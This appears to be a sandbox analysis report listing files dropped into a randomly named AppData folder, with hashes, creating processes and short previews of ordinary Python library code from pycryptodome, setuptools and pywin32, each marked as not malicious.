              Preview:# -*- coding: utf-8 -*-..#..# Util/py3compat.py : Compatibility code for handling Py3k / Python 2.x..#..# Written in 2010 by Thorsten Behrens..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWA

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\py3compat.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):870
              Entropy (8bit):4.791491758318878
              Encrypted:false
              SSDEEP:
              MD5:E7EC097AA59EF78A17CCA1860BE69741
              SHA1:A25E52635BA19E8324128B8900378458BDAA3AF2
              SHA-256:A1913976F178C28B8A7C117093233AAC0D3E772C4876DA9C084382BB95F2AC2D
              SHA-512:675F6249EF76BDA58D64ABF2BEB84DA58C04A4054F380BC3C2D63CA0D0CAB3342FB36A43925C6176D494F70AC1AEFD06DDB809F28F4A3412E857ACA1F42E6451
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Any, Optional, IO....Buffer = Union[bytes, bytearray, memoryview]....import sys....def b(s: str) -> bytes: .....def bchr(s: int) -> bytes: .....def bord(s: bytes) -> int: .....def tobytes(s: Union[bytes, str]) -> bytes: .....def tostr(b: bytes) -> str: .....def bytestring(x: Any) -> bool: .......def is_native_int(s: Any) -> bool: .....def is_string(x: Any) -> bool: .....def is_bytes(x: Any) -> bool: .......def BytesIO(b: bytes) -> IO[bytes]: .....def StringIO(s: str) -> IO[str]: .......if sys.version_info[0] == 2:.. from sys import maxint.. iter_range = xrange....else:.. from sys import maxsize as maxint.. iter_range = range....class FileNotFoundError:.. def __init__(self, err: int, msg: str, filename: str) -> None:.. pass....def _copy_bytes(start: Optional[int], end: Optional[int], seq: Buffer) -> bytes: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\strxor.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5587
              Entropy (8bit):4.7939511946106
              Encrypted:false
              SSDEEP:
              MD5:C08EBC91E1A45FED150F8E5608E2AF15
              SHA1:80AAA3BF9159A68321B464D3DA455D3EB3713F36
              SHA-256:3E36AE472CE5CFBA3B02DBF0CC2A132F868C6DA8002F5B8E895C873DDB79A029
              SHA-512:ACD238B1FC40197C4EA5DAFABD79A2BDBE4BE684F4BC0AB4361EAAD16DA92220A80D26E805D2FDDE01295FF959A91F4A830EE02F4FCB91F3BB0DEDBA295C01CD
              Malicious:false
              Reputation:unknown
              Preview:# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Util\strxor.pyi

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):249
              Entropy (8bit):4.800678842548869
              Encrypted:false
              SSDEEP:
              MD5:81C7899ED070F1D26338977374A4B853
              SHA1:2627B47DA19BB2F2B8E7D25A5A57473C00C86550
              SHA-256:CA7D073C74998CFFB501A2E6E1C99AF62F49272A5FDFB3527769E2A632DFE1A0
              SHA-512:CF5299A774C61A0F84D6E1E4233F426CC9D854D809EEF0D6B1158EC0078E75C54C3141E835DC3D0F376B53EFB8DDE462B49B0A5093C63613B332617966F34D0C
              Malicious:false
              Reputation:unknown
              Preview:from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....def strxor(term1: bytes, term2: bytes, output: Optional[Buffer]=...) -> bytes: .....def strxor_c(term: bytes, c: int, output: Optional[Buffer]=...) -> bytes: .....

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\PyWin32.chm

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:MS Windows HtmlHelp Data
              Category:dropped
              Size (bytes):2648456
              Entropy (8bit):7.949054760124481
              Encrypted:false
              SSDEEP:
              MD5:236AA06379B48D8F588FA2B7EBDFE9F3
              SHA1:4587C868463649727CCDF7C46636191718BA7F86
              SHA-256:772B99CF23C71C56993FBA2DB86469D399D7DAD43D182E0A59A25DC1C0713B0C
              SHA-512:4F157D940E8151CD7F16FFE9151DA4BEB9FCFF6163C6570078C5E3FB3AEC195EBBE2562E334E27BECDFE8CEEDBF1F7B150FD32A9140B9109D231137471ACF4EA
              Malicious:false
              Reputation:unknown
              Preview:ITSF....`........t&........|.{.......".....|.{......."..`...............x.......T........................i(.............ITSP....T...................M.......L.......N.......j..].!......."..T...............PMGL8................/..../#IDXHDR....;.../#ITBITS..../#STRINGS....6..n./#SYSTEM....../#TOCIDX....;..P./#TOPICS.......`./#URLSTR....3..../#URLTBL....k..H./#WINDOWS....d.L./$FIftiMain....4..../$OBJINST....u.?./$WWAssociativeLinks/..../$WWAssociativeLinks/Property....q../$WWKeywordLinks/..../$WWKeywordLinks/BTree....0..L./$WWKeywordLinks/Data....|..{./$WWKeywordLinks/Map....w.Z./$WWKeywordLinks/Property....Q ./_winxptheme.html.......&/_winxptheme__CloseThemeData_meth.html...(..+/_winxptheme__DrawThemeBackground_meth.html...E.i%/_winxptheme__DrawThemeText_meth.html.......0/_winxptheme__EnableThemeDialogTexture_meth.html....4.g%/_winxptheme__EnableTheming_meth.html......C+/_winxptheme__GetCurrentThemeName_meth.html....^.W-/_winxptheme__GetThemeAppProperties_meth.html....5._5/_winxptheme_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6128
              Entropy (8bit):4.5356053660225255
              Encrypted:false
              SSDEEP:
              MD5:128079C84580147FD04E7E070340CB16
              SHA1:9BD1AE6606CCD247F80960ABBC7D7F78AEEC4B86
              SHA-256:4D27A48545B57DD137AE35376FCF326D2064271084A487960686F8704B94DE4A
              SHA-512:CF9D54474347D15AD1B8B89B2E58B850AD3595EEC54173745BDE86F94F75B39634BE195A3AEF69D71CB709ECFF79C572A66B1458A86FA2779F043A83A5D4CC4C
              Malicious:false
              Reputation:unknown
              Preview:# don't import any costly modules.import sys.import os...is_pypy = '__pypy__' in sys.builtin_module_names...def warn_distutils_present():. if 'distutils' not in sys.modules:. return. if is_pypy and sys.version_info < (3, 7):. # PyPy for 3.6 unconditionally imports distutils, so bypass the warning. # https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/site.py#L250. return. import warnings.. warnings.warn(. "Distutils was imported before Setuptools, but importing Setuptools ". "also replaces the `distutils` module in `sys.modules`. This may lead ". "to undesirable behaviors or errors. To avoid these issues, avoid ". "using distutils directly, ensure that setuptools is installed in the ". "traditional way (e.g. not an editable install), and/or make sure ". "that setuptools is always imported before distutils.". )...def clear_distutils():. if 'distutils' not

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\__pycache__\__init__.cpython-310.pyc.7323256

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):7575
              Entropy (8bit):5.07892580799693
              Encrypted:false
              SSDEEP:
              MD5:430C6EDFD8B0969E27367885E36885AC
              SHA1:A2731F709FD47AF7896ECCD01560D5DA645E9039
              SHA-256:88C72CD942236A589A794E1C39B81777284ACDEA9DFD7B3926438F5B90453724
              SHA-512:E136A85713A29211C4F516623F2A6652A8B5C850530143463F686181A1B0D53B1B2B775BAB5312A2AA8710C35FC12F7125F898C49C0C84AE40B131363123B7B1
              Malicious:false
              Reputation:unknown
              Preview:o.......0g.f.........................@...s....d.d.l.Z.d.d.l.Z.d.e.j.v.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.j.D.].Z.e.e.d.e.....e.j.....q2e...Z.d.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.d.S.)......NZ.__pypy__c....................C...s6...d.t.j.v.r.d.S.t.r.t.j.d.k.r.d.S.d.d.l.}.|...d.....d.S.).N..distutils)...........r....a....Distutils was imported before Setuptools, but importing Setuptools also replaces the `distutils` module in `sys.modules`. This may lead to undesirable behaviors or errors. To avoid these issues, avoid using distutils directly, ensure that setuptools is installed in the traditional way (e.g. not an editable install), and/or make sure that setuptools is always imported before distutils.)...sys..modules..is_pypy..version_info..warnings..warn).r......r.....TC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\_distutils_hack\__init__.py..warn_distutils_present....s....................r....c....................C...sF...d.t.j.v.r.d.S.d.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\_distutils_hack\override.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):44
              Entropy (8bit):4.171453562658727
              Encrypted:false
              SSDEEP:
              MD5:012A3E19D518D130A36BEAF917A091C7
              SHA1:358F87C599947263E8ADF079CB2131A522876AF8
              SHA-256:12EFECF8D17A5486780AA774B5B6C0E70B56932D8864F35DF1EB7A18BB759B3A
              SHA-512:76D17C1246B920B7E71F196876A2FCD6A3E102F10933CAC558DD993B6AA794766D657B85E0A7E56A71DF5F14C2F95A9E6576D81163509BB42DEC0FC0E49B9998
              Malicious:false
              Reputation:unknown
              Preview:__import__('_distutils_hack').do_override().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\Demos\progressbar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2470
              Entropy (8bit):4.7309423091111595
              Encrypted:false
              SSDEEP:
              MD5:55B794C6746C1ED94E8D09FC411B4094
              SHA1:777B1AF92BE4692D65F57A439E7D54A82073D9B0
              SHA-256:4DD947D0B90B6CB2EDFCF5B8A4429EC13D58ABEB8C33CD8800536B5D8029D725
              SHA-512:9141BF61AAB9DFDD8777E3114FBB1625CE7A20295A96409521D2503AC276EAC4D1C15F1339DBB22D2E959157D557C5F5758689D9E8860E24DDE382537D77FAB9
              Malicious:false
              Reputation:unknown
              Preview:#.# Progress bar control example.#.# .PyCProgressCtrl encapsulates the MFC CProgressCtrl class. To use it,.# .you:.#.# .- Create the control with win32ui.CreateProgressCtrl().# .- Create the control window with PyCProgressCtrl.CreateWindow().# .- Initialize the range if you want it to be other than (0, 100) using.# . PyCProgressCtrl.SetRange().# .- Either:.# . - Set the step size with PyCProgressCtrl.SetStep(), and.# . - Increment using PyCProgressCtrl.StepIt().# . or:.# . - Set the amount completed using PyCProgressCtrl.SetPos().#.# Example and progress bar code courtesy of KDL Technologies, Ltd., Hong Kong SAR, China..#..import win32con.import win32ui.from pywin.mfc import dialog...def MakeDlgTemplate():. style = (. win32con.DS_MODALFRAME. | win32con.WS_POPUP. | win32con.WS_VISIBLE. | win32con.WS_CAPTION. | win32con.WS_SYSMENU. | win32con.DS_SETFONT. ). cs = win32con.WS_CHILD | win32con.WS_VISIBLE.. w = 215. h = 36.. d

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\Demos\sliderdemo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2191
              Entropy (8bit):4.850454871968149
              Encrypted:false
              SSDEEP:
              MD5:33C1937B141288687F5B1C16FE3096E6
              SHA1:FA6D59C5341185E45E9BC2D46C9BF739DDDCE239
              SHA-256:D58A77874F80AF628C9AC2A2901FDC9E6A2662A302F7068B59091472BC07CC8E
              SHA-512:7BA2215F1626FA752D46F1F73D5D13FD10600A8653901002F32AE94BB3301B85912E60B31D12AD24ACC98322AEA8910CB4D2EAF7B8472DE97F3B613433524296
              Malicious:false
              Reputation:unknown
              Preview:# sliderdemo.py.# Demo of the slider control courtesy of Mike Fletcher...import win32con.import win32ui.from pywin.mfc import dialog...class MyDialog(dialog.Dialog):. """. Example using simple controls. """.. _dialogstyle = (. win32con.WS_MINIMIZEBOX. | win32con.WS_DLGFRAME. | win32con.DS_MODALFRAME. | win32con.WS_POPUP. | win32con.WS_VISIBLE. | win32con.WS_CAPTION. | win32con.WS_SYSMENU. | win32con.DS_SETFONT. ). _buttonstyle = (. win32con.BS_PUSHBUTTON. | win32con.WS_TABSTOP. | win32con.WS_CHILD. | win32con.WS_VISIBLE. ). ### The static template, contains all "normal" dialog items. DIALOGTEMPLATE = [. # the dialog itself is the first element in the template. ["Example slider", (0, 0, 50, 43), _dialogstyle, None, (8, "MS SansSerif")],. # rest of elements are the controls within the dialog. # standard "Close" button. [128, "Close", win32con.I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\Demos\splittst.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2847
              Entropy (8bit):4.889392873931691
              Encrypted:false
              SSDEEP:
              MD5:15A3380DB3440FCC03C11FEF948C3FD0
              SHA1:9C618E91EB3D4633B1E65790BC001BD11340F782
              SHA-256:8596A440DBDF0B5982E29C1B04D504904411A76AA432CD61FA502EDD05D4BCC1
              SHA-512:0A89815554A35E8BA9CF44D21081738BE1C936F46D8A26EF46D95BB6F8C35FF058F1082571C6F1AFC0F458B6F8184CF8DA617F144A33302AE8EE47C9CD55988B
              Malicious:false
              Reputation:unknown
              Preview:import commctrl.import fontdemo.import win32ui.from pywin.mfc import docview, window..# derive from CMDIChild. This does much work for us....class SplitterFrame(window.MDIChildWnd):. def __init__(self):. # call base CreateFrame. self.images = None. window.MDIChildWnd.__init__(self).. def OnCreateClient(self, cp, context):. splitter = win32ui.CreateSplitter(). doc = context.doc. frame_rect = self.GetWindowRect(). size = ((frame_rect[2] - frame_rect[0]), (frame_rect[3] - frame_rect[1]) // 2). sub_size = (size[0] // 2, size[1]). splitter.CreateStatic(self, 2, 1). self.v1 = win32ui.CreateEditView(doc). self.v2 = fontdemo.FontView(doc). # CListControl view. self.v3 = win32ui.CreateListView(doc). sub_splitter = win32ui.CreateSplitter(). # pass "splitter" so each view knows how to get to the others. sub_splitter.CreateStatic(splitter, 1, 2). sub_splitter.CreateView(sel

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\Demos\threadedgui.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6272
              Entropy (8bit):4.87279010428793
              Encrypted:false
              SSDEEP:
              MD5:DB53EA29EFF3B56F84E93B6500013F19
              SHA1:108322107120E73C4A6F949C702B6085A13DC656
              SHA-256:73E54A6C2971411F6DF38DECD4C1AB079552C746502DEBBEE2463078D3FF200F
              SHA-512:9D4A4F575106826762235A447C13509638CFC9A153EFC2AC168C9F4F413B0B12576B24312A170B9E8F61DE7F99A3EC5E363A8B8236DF8CE42927AEEA5D57AB00
              Malicious:false
              Reputation:unknown
              Preview:# Demo of using just windows, without documents and views...# Also demo of a GUI thread, pretty much direct from the MFC C++ sample MTMDI...import timer.import win32api.import win32con.import win32ui.from pywin.mfc import docview, thread, window.from pywin.mfc.thread import WinThread..WM_USER_PREPARE_TO_CLOSE = win32con.WM_USER + 32..# font is a dictionary in which the following elements matter:.# (the best matching font to supplied parameters is returned).# name..string name of the font as known by Windows.# size..point size of font in logical units.# weight..weight of font (win32con.FW_NORMAL, win32con.FW_BOLD).# italic..boolean; true if set to anything but None.# underline.boolean; true if set to anything but None...# This window is a child window of a frame. It is not the frame window itself..class FontWindow(window.Wnd):. def __init__(self, text="Python Rules!"):. window.Wnd.__init__(self). self.text = text. self.index = 0. self.incr = 1.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\Demos\toolbar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3165
              Entropy (8bit):4.871556617087529
              Encrypted:false
              SSDEEP:
              MD5:96A780B1A5ECABF83F6EF7F4E719D706
              SHA1:DBC0202653E6347FB5CF4E3A76D61DF2762D7264
              SHA-256:C294B740EB59DBA1E53651856CA54B1010EAE6320DD500D9850A12D488100DA9
              SHA-512:C241101159235C880F0C3ED382BC7E3498C446B3F365D5BA09870E40C84859553FC5BF033A15817FA628A97E1412615EA63211DA427E80727C7B35B87678EA5A
              Malicious:false
              Reputation:unknown
              Preview:# Demo of ToolBars..# Shows the toolbar control..# Demos how to make custom tooltips, etc...import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import afxres, docview, window...class GenericFrame(window.MDIChildWnd):. def OnCreateClient(self, cp, context):. # handlers for toolbar buttons. self.HookCommand(self.OnPrevious, 401). self.HookCommand(self.OnNext, 402). # Its not necessary for us to hook both of these - the. # common controls should fall-back all by themselves.. # Indeed, given we hook TTN_NEEDTEXTW, commctrl.TTN_NEEDTEXTA. # will not be called.. self.HookNotify(self.GetTTText, commctrl.TTN_NEEDTEXT). self.HookNotify(self.GetTTText, commctrl.TTN_NEEDTEXTW).. # ..parent = win32ui.GetMainFrame(). parent = self. style = (. win32con.WS_CHILD. | win32con.WS_VISIBLE. | afxres.CBRS_SIZE_DYNAMIC. | afxres.CBRS_TOP. | a

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\IDLE.cfg

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):742
              Entropy (8bit):4.500440373386235
              Encrypted:false
              SSDEEP:
              MD5:FEA3E78BE03619E62D9D0596B3D30415
              SHA1:643A8486EFCA63316325B666A8F2660D9BF15DBD
              SHA-256:09CD334BBD8A9723360913DB63E1DD344BB5FAEACDA270B57529C0DA3B8AF73E
              SHA-512:3DA8A6CBA89649A561274091387F8D2CB574BB69A4184B3E8F2E16513BCD7FC7B40D8C5212FE67B22753A0604670C06A82CF0A62024D21DE6AA4A272D0E05D87
              Malicious:false
              Reputation:unknown
              Preview:[General].# We base this configuration on the default config..# You can list "Based On" as many times as you like.Based On = default..[Keys].# Only list keys different to default..# Note you may wish to rebind some of the default.# Pythonwin keys to "Beep" or "DoNothing"..Alt+L = LocateSelectedFile.Ctrl+Q = AppExit..# Other non-default Pythonwin keys.Alt+A = EditSelectAll.Alt+M = LocateModule..# Movement.Ctrl+D = GotoEndOfFile..# Tabs and other indent features.Alt+T = <<toggle-tabs>>.Ctrl+[ = <<indent-region>>.Ctrl+] = <<dedent-region>>..[Keys:Interactive].Alt+P = <<history-previous>>.Alt+N = <<history-next>>..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):475
              Entropy (8bit):4.555377634843288
              Encrypted:false
              SSDEEP:
              MD5:F6687E6FA019ECA4A788FA46165D6FC0
              SHA1:3FB1D7496A1F63080109C7D0418ECE4D0B176309
              SHA-256:63E7D31AE2AF86C7006B95D65391F7FE055038E31C0E2D99A34DE5495D2D825A
              SHA-512:053CBCE6696D63E5152A5B40E6B1E632A82FF16247805B88A52E61D4B4AA30992BA50FC50E24EF29A9AA790BD3108FD30FFFC9083708DF03630E845D8874978F
              Malicious:false
              Reputation:unknown
              Preview:# is_platform_unicode is an old variable that was never correctly used and.# is no longer referenced in pywin32. It is staying for a few releases incase.# others are looking at it, but it will go away soon!.is_platform_unicode = 0..# Ditto default_platform_encoding - not referenced and will die..default_platform_encoding = "mbcs"..# This one *is* real and used - but in practice can't be changed..default_scintilla_encoding = "utf-8" # Scintilla _only_ supports this ATM.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\dialogs\ideoptions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5034
              Entropy (8bit):4.737064457897206
              Encrypted:false
              SSDEEP:
              MD5:F111572B3FB1BC661E1E6DF5A9CF879D
              SHA1:A41173D1F88C61C3237248B097B2EFB08F5E25ED
              SHA-256:62A1EEEBB052D688D023D7520A7792617C2C52B25DC8B0DE985CA5B3AAB0C563
              SHA-512:C91478BF2173956F70A46FE7DA7D8E079356F94F16E7DCDD52377E29CF0FC0AE202908118DA9BFC1680C86A59FC227DE90E17E61B8730E45686CBDA6BD3187C6
              Malicious:false
              Reputation:unknown
              Preview:# The property page to define generic IDE options for Pythonwin..import win32con.import win32ui.from pywin.framework import interact.from pywin.mfc import dialog..buttonControlMap = {. win32ui.IDC_BUTTON1: win32ui.IDC_EDIT1,. win32ui.IDC_BUTTON2: win32ui.IDC_EDIT2,. win32ui.IDC_BUTTON3: win32ui.IDC_EDIT3,.}...class OptionsPropPage(dialog.PropertyPage):. def __init__(self):. dialog.PropertyPage.__init__(self, win32ui.IDD_PP_IDE). self.AddDDX(win32ui.IDC_CHECK1, "bShowAtStartup"). self.AddDDX(win32ui.IDC_CHECK2, "bDocking"). self.AddDDX(win32ui.IDC_EDIT4, "MRUSize", "i").. def OnInitDialog(self):. edit = self.GetDlgItem(win32ui.IDC_EDIT1). format = eval(. win32ui.GetProfileVal(. interact.sectionProfile,. interact.STYLE_INTERACTIVE_PROMPT,. str(interact.formatInput),. ). ). edit.SetDefaultCharFormat(format). edit.SetWindowText("Input Text")..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\dialogs\list.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4553
              Entropy (8bit):4.726357289573743
              Encrypted:false
              SSDEEP:
              MD5:37C1CD1DB9F810C204351229638F2C9D
              SHA1:E978FC55B612FACA725B84ED0C11B2CC7E6316A9
              SHA-256:6D756D51A6286E343F91A946DF409B0B9CE72F5E153CEAB0E826494E3E919D79
              SHA-512:6AAC4751DDEC0BD84F3C018CCF589C2A11103034B051567CF240AD9116F371CD27FF396A0332B5C0D7536A44E0C8E69B07EDEB5D287EF906B0CEAF3C38D53B81
              Malicious:false
              Reputation:unknown
              Preview:import commctrl.import win32api.import win32con.import win32ui.from pywin.mfc import dialog...class ListDialog(dialog.Dialog):. def __init__(self, title, list):. dialog.Dialog.__init__(self, self._maketemplate(title)). self.HookMessage(self.on_size, win32con.WM_SIZE). self.HookNotify(self.OnListItemChange, commctrl.LVN_ITEMCHANGED). self.HookCommand(self.OnListClick, win32ui.IDC_LIST1). self.items = list.. def _maketemplate(self, title):. style = win32con.WS_DLGFRAME | win32con.WS_SYSMENU | win32con.WS_VISIBLE. ls = (. win32con.WS_CHILD. | win32con.WS_VISIBLE. | commctrl.LVS_ALIGNLEFT. | commctrl.LVS_REPORT. ). bs = win32con.WS_CHILD | win32con.WS_VISIBLE. return [. [title, (0, 0, 200, 200), style, None, (8, "MS Sans Serif")],. ["SysListView32", None, win32ui.IDC_LIST1, (0, 0, 200, 200), ls],. [128, "OK", win32con.IDOK, (10, 0, 50, 14)

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\dialogs\login.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4744
              Entropy (8bit):5.080896859294017
              Encrypted:false
              SSDEEP:
              MD5:D195D5022F44190D561AB48990C86946
              SHA1:79B0039267F5031D1275E9D5492FEEFF0A9EAAEA
              SHA-256:BBF5069FC221AA0FB7F61C7051467DA298539F2E482A06A2677D69CC6E066F8C
              SHA-512:8D4D461B435712AB659AD385C82F5E6D77D2F268C18E426F115AE08BC4162BDCFC76092994CEE7827447F79C45818EEE54C8C0990715F4EDE7D22AF56646B397
              Malicious:false
              Reputation:unknown
              Preview:"""login -- PythonWin user ID and password dialog box..(Adapted from originally distributed with Mark Hammond's PythonWin - .this now replaces it!)..login.GetLogin() displays a modal "OK/Cancel" dialog box with input.fields for a user ID and password. The password field input is masked.with *'s. GetLogin takes two optional parameters, a window title, and a.default user ID. If these parameters are omitted, the title defaults to."Login", and the user ID is left blank. GetLogin returns a (userid, password).tuple. GetLogin can be called from scripts running on the console - i.e. you.don't need to write a full-blown GUI app to use it...login.GetPassword() is similar, except there is no username field...Example:.import pywin.dialogs.login.title = "FTP Login".def_user = "fred".userid, password = pywin.dialogs.login.GetLogin(title, def_user)..Jim Eggleston, 28 August 1996.Merged with dlgpass and moved to pywin.dialogs by Mark Hammond Jan 1998.."""..import win32api.import win32con.import win32u

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\dialogs\status.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6620
              Entropy (8bit):4.812249113668442
              Encrypted:false
              SSDEEP:
              MD5:6A26E58C5BCC0944CF185DEE3151FFE9
              SHA1:1F8F6D4E63D75DE35AEAD6DBDC7F1A54526D8249
              SHA-256:1AD3D9AF7B5328E179A0B8DDE615936A2191102DC5C2714A1752FA5E000D6DEE
              SHA-512:1D0AB59FB5EE3159612FCB34265437CF77C8150EC71C2F3799ED1FAC687237BD466A8F1A300F89B1591E27E82323A51A339D8F196C4B25A9ADA8FA26BFB0AD10
              Malicious:false
              Reputation:unknown
              Preview:# No cancel button...import threading.import time..import win32api.import win32con.import win32ui.from pywin.mfc import dialog.from pywin.mfc.thread import WinThread...def MakeProgressDlgTemplate(caption, staticText=""):. style = (. win32con.DS_MODALFRAME. | win32con.WS_POPUP. | win32con.WS_VISIBLE. | win32con.WS_CAPTION. | win32con.WS_SYSMENU. | win32con.DS_SETFONT. ). cs = win32con.WS_CHILD | win32con.WS_VISIBLE.. w = 215. h = 36 # With button. h = 40.. dlg = [. [caption, (0, 0, w, h), style, None, (8, "MS Sans Serif")],. ].. s = win32con.WS_TABSTOP | cs.. dlg.append([130, staticText, 1000, (7, 7, w - 7, h - 32), cs | win32con.SS_LEFT]).. # dlg.append([128,. # .."Cancel",. # ..win32con.IDCANCEL,. # ..(w - 60, h - 18, 50, 14), s | win32con.BS_PUSHBUTTON]).. return dlg...class CStatusProgressDialog(dialog.Dialog):. def __init__(self, title, msg="", maxticks=100, tickincr=1):. sel

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\docking\DockingBar.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):23579
              Entropy (8bit):4.671711851438662
              Encrypted:false
              SSDEEP:
              MD5:F98244F1F98BB85FCA32EE2182156A42
              SHA1:2B44F1FB726A9650F1A7296721A5D40541B42CB5
              SHA-256:42235CF86B787BB402515C767DBB59121DB817388DEBB97AF40FAE19962DE0E9
              SHA-512:AFF2509180B031EEA98DD88F0899BF254A5A4B3AB6C9C19CAB6590C3007BE57DEEF02B8412A6C10913B705357167883B978596B0136F3DC36C99418CB5EF1F74
              Malicious:false
              Reputation:unknown
